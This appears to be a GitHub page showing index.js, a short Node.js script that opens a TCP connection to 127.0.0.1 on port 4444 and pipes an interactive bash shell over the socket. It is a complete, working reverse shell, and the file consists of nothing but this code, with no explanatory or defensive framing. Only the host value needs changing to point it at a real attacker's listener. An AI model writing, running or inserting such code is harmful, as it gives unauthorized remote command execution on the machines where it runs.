-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
36 lines (28 loc) · 888 Bytes
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const net = require('net');
const { spawn } = require('child_process');
const host = '127.0.0.1';
const port = 4444;
const client = new net.Socket();
client.connect(port, host, () => {
console.log('Connected to the server!');
// Spawn a shell process
const shell = spawn('/bin/bash', ['-i']);
// Pipe data between the socket and the shell
client.pipe(shell.stdin);
shell.stdout.pipe(client);
shell.stderr.pipe(client);
// Handle shell process exit
shell.on('exit', (code) => {
console.log(`Shell process exited with code ${code}`);
client.end(); // Explicitly close the socket
});
// Handle socket closure
client.on('close', () => {
console.log('Connection closed');
});
});
// Handle socket errors
client.on('error', (err) => {
console.error('Socket error:', err.message);
client.destroy();
});